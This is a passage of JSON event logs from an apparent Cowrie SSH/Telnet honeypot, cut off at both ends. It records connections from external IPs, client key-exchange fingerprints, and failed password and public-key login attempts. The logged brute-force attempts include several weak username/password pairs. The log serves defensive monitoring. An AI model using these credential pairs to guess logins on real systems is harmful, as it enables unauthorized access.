urve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:35:06.832249Z","src_ip":"151.80.141.196","session":"9405f5817a1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rdP@ssw0rd","message":"login attempt [ubuntu/P@ssw0rdP@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:35:06.898287Z","src_ip":"103.147.159.91","session":"7fc8b18685f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz2wsx!","message":"login attempt [ubuntu/1qaz2wsx!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:35:07.169230Z","src_ip":"151.80.141.196","session":"9405f5817a1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:35:08.143421Z","src_ip":"103.147.159.91","session":"7fc8b18685f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:35:08.249248Z","src_ip":"151.80.141.196","session":"9405f5817a1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":19008,"dst_ip":"10.17.0.5","dst_port":23,"session":"279a70d1ab83","protocol":"telnet","message":"New connection: 212.55.149.117:19008 (10.17.0.5:23) [session: 279a70d1ab83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:35:11.032623Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":59520,"dst_ip":"10.17.0.5","dst_port":22,"session":"941f5201f7d7","protocol":"ssh","message":"New connection: 103.15.226.202:59520 (10.17.0.5:22) [session: 941f5201f7d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:35:28.244574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:35:28.249144Z","src_ip":"103.15.226.202","session":"941f5201f7d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:35:28.494467Z","src_ip":"103.15.226.202","session":"941f5201f7d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweqwe","message":"login attempt [root/qweqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:35:29.231749Z","src_ip":"103.15.226.202","session":"941f5201f7d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:35:30.480222Z","src_ip":"103.15.226.202","session":"941f5201f7d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"151.80.141.196","src_port":38256,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6c9f5ad363b","protocol":"ssh","message":"New connection: 151.80.141.196:38256 (10.17.0.5:22) [session: e6c9f5ad363b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:35:52.731317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:35:52.735840Z","src_ip":"151.80.141.196","session":"e6c9f5ad363b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:35:52.833259Z","src_ip":"151.80.141.196","session":"e6c9f5ad363b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser2019","message":"login attempt [ftpuser/ftpuser2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:35:53.172266Z","src_ip":"151.80.141.196","session":"e6c9f5ad363b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:35:54.252309Z","src_ip":"151.80.141.196","session":"e6c9f5ad363b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.147.159.91","src_port":33048,"dst_ip":"10.17.0.5","dst_port":22,"session":"3337fb750861","protocol":"ssh","message":"New connection: 103.147.159.91:33048 (10.17.0.5:22) [session: 3337fb750861]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:35:57.264304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:35:57.268874Z","src_ip":"103.147.159.91","session":"3337fb750861","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:35:57.506455Z","src_ip":"103.147.159.91","session":"3337fb750861","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"useruser","message":"login attempt [user1/useruser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:35:58.489716Z","src_ip":"103.147.159.91","session":"3337fb750861","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":34322,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd5d454c166e","protocol":"ssh","message":"New connection: 190.242.109.42:34322 (10.17.0.5:22) [session: cd5d454c166e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:35:59.641432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:35:59.645352Z","src_ip":"190.242.109.42","session":"cd5d454c166e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:35:59.728085Z","src_ip":"190.242.109.42","session":"cd5d454c166e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:35:59.732970Z","src_ip":"103.147.159.91","session":"3337fb750861","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser#","message":"login attempt [ftpuser/ftpuser#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:36:00.091552Z","src_ip":"190.242.109.42","session":"cd5d454c166e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:36:01.182518Z","src_ip":"190.242.109.42","session":"cd5d454c166e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.117.72.74","src_port":51632,"dst_ip":"10.17.0.5","dst_port":22,"session":"f52fbdeb0f81","protocol":"ssh","message":"New connection: 176.117.72.74:51632 (10.17.0.5:22) [session: f52fbdeb0f81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:36:14.783975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:36:14.789609Z","src_ip":"176.117.72.74","session":"f52fbdeb0f81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:36:14.873035Z","src_ip":"176.117.72.74","session":"f52fbdeb0f81","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c7:c4:c1:7a:71:56:47:ac:39:72:7f:46:f2:f9:1d:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQS2tcQs0+qf0g5h1R9ZviEHr5vHf2bmPCYrILs3ykYWwfuZeV0IMqNp5ykLfxV5k9RY1Laf7fz3lXe6moWh2sThDL4s/l1zMHl67y9foxQmA2MCeea31gSfNjokZBeplFzDgAiy+QNYKC3xacd7QpENfoI9ArjpERhfOVLDRal5+t7UsoEE/UBizLUHcYChmg5/sE/WjPnL9/qii7EakKcaRcSgaZsp9BZd1g68H9oCcYn9g6Dq5zk3dg1l7orbkkwtpi/r3H+2tES/k0p2a4NP0f+jr9/3beXjExD1voyyb95H9kTTcg21T7/lrYO5wSeldq/4+O3bPHCSJykDTR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c7:c4:c1:7a:71:56:47:ac:39:72:7f:46:f2:f9:1d:5f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:36:15.265516Z","src_ip":"176.117.72.74","session":"f52fbdeb0f81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c7:c4:c1:7a:71:56:47:ac:39:72:7f:46:f2:f9:1d:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQS2tcQs0+qf0g5h1R9ZviEHr5vHf2bmPCYrILs3ykYWwfuZeV0IMqNp5ykLfxV5k9RY1Laf7fz3lXe6moWh2sThDL4s/l1zMHl67y9foxQmA2MCeea31gSfNjokZBeplFzDgAiy+QNYKC3xacd7QpENfoI9ArjpERhfOVLDRal5+t7UsoEE/UBizLUHcYChmg5/sE/WjPnL9/qii7EakKcaRcSgaZsp9BZd1g68H9oCcYn9g6Dq5zk3dg1l7orbkkwtpi/r3H+2tES/k0p2a4NP0f+jr9/3beXjExD1voyyb95H9kTTcg21T7/lrYO5wSeldq/4+O3bPHCSJykDTR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:36:15.268583Z","src_ip":"176.117.72.74","session":"f52fbdeb0f81","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"33:99:13:be:ae:86:dc:96:bf:4f:99:b0:a3:51:de:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDOJ7yuro5ezrvmAwy2NfEoKk/b3aSKYI5fng0YDd1v0/1/BFjFa4X5EikRzlb4J4V6nfc2KyBI6J8Gg92e02s8DsOtCd56uTKIbtt6fUoordBRZxwc56N0QteOdrqnFkWjerYeJqVWwUXw3HW7819ha0XhQcq13acxBrtu4Xij8mgcq0gcbH7k/TaaBzwwe8/LQr/wApFyGGlouHd5g+klFWOEoDq5xmtRIhOpYEirJUQ+jYQpwNpch9sLxXhWgZ7dc27Mh9xhy4Ds3g38u6w5Fjk1WYK7w2FLhjFsQBadMG9VuBvyh0zr83fdPSpQRILf8htM04WwJ6ubAMXQPUNMSS0DkM0CBDmMq2ZnoMIQ0ecwYjLjqnypZX8jChZu+D2B8OcWrouvBgDO1nVycVZCMkpBqBZzYSKaw5jAvhr7/aMSAu2WG9JpDuUjwqoqMfkCtXkocH2RPyGQhPnCKpk2wcoKoU3CKmwHgRBBRyP63/Ir4CS2h24N9z8+rFU/K10GB+dIysEp9APKKCRvwKHq3JxEYJALMs0ezUDsT6z26r7Fa7shynYZbho3e8a+pxFKerjS00TOehq+D4Vn+FiHkdAIhaHQ1fhMg5la1qRZ1zWo77DAPV8Gn6SVix99nuvPHdvmxVCw9uj2GHztUZGrNqNf8opVjXSpIW63C3K69w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 33:99:13:be:ae:86:dc:96:bf:4f:99:b0:a3:51:de:d0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:36:15.351192Z","src_ip":"176.117.72.74","session":"f52fbdeb0f81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"33:99:13:be:ae:86:dc:96:bf:4f:99:b0:a3:51:de:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDOJ7yuro5ezrvmAwy2NfEoKk/b3aSKYI5fng0YDd1v0/1/BFjFa4X5EikRzlb4J4V6nfc2KyBI6J8Gg92e02s8DsOtCd56uTKIbtt6fUoordBRZxwc56N0QteOdrqnFkWjerYeJqVWwUXw3HW7819ha0XhQcq13acxBrtu4Xij8mgcq0gcbH7k/TaaBzwwe8/LQr/wApFyGGlouHd5g+klFWOEoDq5xmtRIhOpYEirJUQ+jYQpwNpch9sLxXhWgZ7dc27Mh9xhy4Ds3g38u6w5Fjk1WYK7w2FLhjFsQBadMG9VuBvyh0zr83fdPSpQRILf8htM04WwJ6ubAMXQPUNMSS0DkM0CBDmMq2ZnoMIQ0ecwYjLjqnypZX8jChZu+D2B8OcWrouvBgDO1nVycVZCMkpBqBZzYSKaw5jAvhr7/aMSAu2WG9JpDuUjwqoqMfkCtXkocH2RPyGQhPnCKpk2wcoKoU3CKmwHgRBBRyP63/Ir4CS2h24N9z8+rFU/K10GB+dIysEp9APKKCRvwKHq3JxEYJALMs0ezUDsT6z26r7Fa7shynYZbho3e8a+pxFKerjS00TOehq+D4Vn+FiHkdAIhaHQ1fhMg5la1qRZ1zWo77DAPV8Gn6SVix99nuvPHdvmxVCw9uj2GHztUZGrNqNf8opVjXSpIW63C3K69w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:36:15.355524Z","src_ip":"176.117.72.74","session":"f52fbdeb0f81","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:8d:74:86:91:fc:55:a7:79:c7:04:16:0f:5d:8f:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4kTju/fh2VU6mmavlaXkHcVNtFb4tuMXnvmJqFaA3h7PhtfdV+4cLCF5TejYoL1emp0nzOR2H15WHni2ZvbiwJSRN4Mw0OJi2HtuIbjZK2puZT69Kgd/5h6w6vTq8du1JNHpxsX0TbxjuN7lVyTy/ME1r6oLANyTyzXSzIpFlqn6ft42AshVY5xGjqJiXGbLCyDOW0dE3oFikRQRcHpD4xq326vgyfnlUjv4RNPN4KuLOqUgm0UOa4UOke5HDKr7vX8bctrhfifCzdtyon65xe88J3Z8JokDmtW7+PnBBpdqr0QUB+/j0ivo70Hy8tqdphDyztb6/JQypbTG3n1Ipx5cgwryI1fcGKcTU1ge2NEQG+37krCNFV3z3ukmvX7WraHCyZ7xy3W4CrgkSbXqMgaZ1yOaTwFcyTNc+CD/CXjG5J87XexFuoWMn5M3ifLuiGcDELmQYURuZk0qAevX5VFRVT/i3FDxfYqYHuluIu1JeYzKEC7yJ7towud8whM/QGOHTGguo6hlXgac01D4Ok8LTo8JsL5nayrTgPWSc4oER62dmc+SCbnMvvmlMTACFJaATGSZI40aablA710AjGDw+3M4qjYTvHNYci68ZByjXOjDyyyC9FVon/w/pQ916ouZAmOGY/6R2vsyAjAUaC7cN0qqsHaHNpTo/FbeTow==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4f:8d:74:86:91:fc:55:a7:79:c7:04:16:0f:5d:8f:fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:36:15.443332Z","src_ip":"176.117.72.74","session":"f52fbdeb0f81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:8d:74:86:91:fc:55:a7:79:c7:04:16:0f:5d:8f:fc","key":"ssh-rsa 